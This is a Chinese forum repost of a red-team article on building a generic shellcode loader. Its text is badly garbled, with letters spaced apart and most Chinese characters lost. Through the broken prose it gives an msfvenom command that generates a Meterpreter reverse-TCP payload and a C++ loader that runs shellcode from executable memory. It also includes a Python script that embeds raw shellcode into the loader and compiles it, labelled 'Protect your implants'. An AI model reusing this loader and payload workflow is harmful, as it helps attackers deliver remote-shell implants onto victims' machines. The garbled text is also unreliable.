找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 0|回复: 0

[15145] 2020-03-18_红队基本操作:通用Shellcode加载器

[复制链接]

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2020-03-18_红队基本操作:通用Shellcode加载器 S h e l l c o d e   F r e e B u f   2 0 2 0 - 0 3 - 1 8 S h e l l c o d e s h e l l c o d e p a y l o a d p a y l o a d 使 使 . N E T P E 使 S h e l l c o d e p a y l o a d 使 s h e l l c o d e p y t h o n S h e l l c o d e s h e l l c o d e M e t a s p l o i t C o b a l t   S t r i k e s h e l l c o d e p a y l o a d 广 使 使 s h e l l c o d e M e t a s p l o i t C o b a l t   S t r i k e b o t h   s t a g e d s t a g e l e s s   p a y l o a d 使 b o t h   s t a g e d p a y l o a d s h e l l c o d e s t a g e l e s s   p a y l o a d b o t h   s t a g e d p a y l o a d p a y l o a d 使 s t a g e l e s s   p a y l o a d p a y l o a d b o t h   s t a g e d s t a g e l e s s p a y l o a d   O J   R e e v e s 使 m s f v e n o m s h e l l c o d e p a y l o a d I P h e a d 使 - c 1 0 0 x x d s h e l l c o d e T h e W o v e r   D o n u t s h e l l c o d e s h e l l c o d e . N E T P E D L L p a y l o a d 使 D o n u t M i m i k a t z S a f e t y k a t z S e a t b e l t s h e l l c o d e S h e l l c o d e s h e l l c o d e C 使 P y t h o n s h e l l c o d e L i n u x W i n d o w s 使 M i n G W m s f v e n o m   p   w i n d o w s / m e t e r p r e t e r _ r e v e r s e _ t c p   L H O S T = I P   L P O R T = p o r t   >   s t a g e l e s s _ m e t e r p r e t e r . r a w h e a d   c   1 0 0   s t a g e l e s s _ m e t e r p r e t e r . r a w   |   x x d
s h e l l c o d e s h e l l c o d e c h a r 使 V i r t u a l A l l o c s h e l l c o d e 使 m e m c p y s h e l l c o d e s h e l l c o d e 使 M s f v e n o m C o b a l t   S t r i k e D o n u t s h e l l c o d e p a y l o a d s h e l l c o d e 使 h e x d u m p P y t h o n h e x d u m p s h e l l c o d e 使 h e a d h e x d u m p # r e p l a c e _ m e # 使 s h e l l c o d e   使 M i n G W s h e l l c o d e P y t h o n P y t h o n s h e l l c o d e # i n c l u d e   < s t d i o . h > # i n c l u d e   < w i n d o w s . h > u s i n g   n a m e s p a c e   s t d ; i n t   m a i n ( ) {         c h a r   s h e l l c o d e [ ]   =   " s h e l l c o d e " ;         L P V O I D   l p A l l o c   =   V i r t u a l A l l o c ( 0 ,   s i z e o f   s h e l l c o d e ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( l p A l l o c ,   s h e l l c o d e ,   s i z e o f   s h e l l c o d e ) ;         ( ( v o i d ( * ) ( ) ) l p A l l o c ) ( ) ;         r e t u r n   0 ; } h e x d u m p   - v   - e   ' " " " x "   1 / 1   " % 0 2 x "   " " '   r a w . b i n   > >   h e x _ f o r m a t h e a d   c   1 0 0   h e x _ f o r m a t i 6 8 6 - w 6 4 - m i n g w 3 2 - c + +   s h e l l c o d e _ l a u n c h e r . c p p   - o   l a u n c h e r . e x e
a r g p a r s e 使 b i n a s c i i 使 h e x d u m p s h e l l c o d e p y t h o n 使 a r g p a r s e 使 使 x 3 2 d b g s h e l l c o d e i m p o r t   b i n a s c i i i m p o r t   a r g p a r s e i m p o r t   s u b p r o c e s s i m p o r t   o s d e f   m a i n ( p _ a r g s ) :         #   R e a d   s o u r c e   t e m p l a t e         w i t h   o p e n ( " l a u n c h e r _ t e m p l a t e . c p p " ,   " r " )   a s   i n p u t _ t e m p l a t e :                 s o u r c e _ t e m p l a t e   =   i n p u t _ t e m p l a t e . r e a d ( )         #   R e a d   i n p u t   p a y l o a d         w i t h   o p e n ( p _ a r g s . i n p u t ,   " r b " )   a s   i n p u t _ s h e l l c o d e :                 r a w _ s h e l l c o d e   =   i n p u t _ s h e l l c o d e . r e a d ( )         #   C o n v e r t   r a w   b i n a r y   t o   f o r m a t t e d   h e x         h e x _ d a t a   =   b i n a s c i i . h e x l i f y ( r a w _ s h e l l c o d e ) . d e c o d e ( )         h e x _ f i l e _ c o n t e n t   =   r " x "   +   r " x " . j o i n ( h e x _ d a t a [ n   :   n + 2 ]   f o r   n   i n   r a n g e ( 0 ,   l e n ( h e x _ d a t a ) ,   2 ) )         #   I n s e r t   t h e   s h e l l c o d e   i n t o   t h e   s o u r c e   c o d e         o u t p u t _ f i l e   =   s o u r c e _ t e m p l a t e . r e p l a c e ( " # r e p l a c e _ m e # " ,   h e x _ f i l e _ c o n t e n t )         #   W r i t e   o u r   f o r m a t t e d   s o u r c e   f i l e         w i t h   o p e n ( " c o m p i l e _ m e . c p p " ,   " w " )   a s   o u t p u t _ h a n d l e :                 o u t p u t _ h a n d l e . w r i t e ( o u t p u t _ f i l e )         #   S p e c i f y   o u r   c o m p i l e r   a r g u e m e n t s         c o m p i l e r _ a r g s   =   [ ]         c o m p i l e r _ a r g s . a p p e n d ( " i 6 8 6 - w 6 4 - m i n g w 3 2 - c + + " )         c o m p i l e r _ a r g s . a p p e n d ( " c o m p i l e _ m e . c p p " )         c o m p i l e r _ a r g s . a p p e n d ( " - o " )         i f   l e n ( p _ a r g s . o u t p u t )   >   0 :                         c o m p i l e r _ a r g s . a p p e n d ( p _ a r g s . o u t p u t )         e l s e :                         c o m p i l e r _ a r g s . a p p e n d ( " s h e l l c o d e _ l a u n c h e r . e x e " )         #   C o m p i l e   t h e   f o r m a t t e d   s o u r c e   f i l e         s u b p r o c e s s . r u n ( c o m p i l e r _ a r g s )         #   D e l e t e   t h e   f o r m a t t e d   s o u r c e   f i l e   a f t e r   i t   h a s   b e e n   c o m p i l e d         o s . r e m o v e ( " c o m p i l e _ m e . c p p " ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' P r o t e c t   y o u r   i m p l a n t s ' )         p a r s e r . a d d _ a r g u m e n t ( " - - i n p u t " ,   h e l p = " I n p u t   f i l e .   R a w   s h e l l c o d e " ,   t y p e = s t r ,   r e q u i r e d = T r u e )         p a r s e r . a d d _ a r g u m e n t ( " - - o u t p u t " ,   h e l p = " S p e c i f y   f i l e   o u t p u t " ,   t y p e = s t r ,   d e f a u l t = " " )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         m a i n ( a r g s )
s h e l l c o d e V i r t u a l A l l o c m e m c p y s h e l l c o d e E A X E A X s h e l l c o d e 使 x 3 2 d b g s h e l l c o d e p a y l o a d . r d a t a s h e l l c o d e
使 x 3 2 d b g 便 使 p a y l o a d p a y l o a d c a l l   e a x s h e l l c o d e C o b a l t   S t r i k e M s f v e n o m C o b a l t   S t r i k e D o n u t 使 p a y l o a d 使 p a y l o a d s h e l l c o d e P y t h o n * n a g a r r o s e c u r i t y F B F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 13:15 , Processed in 0.750496 second(s), 31 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表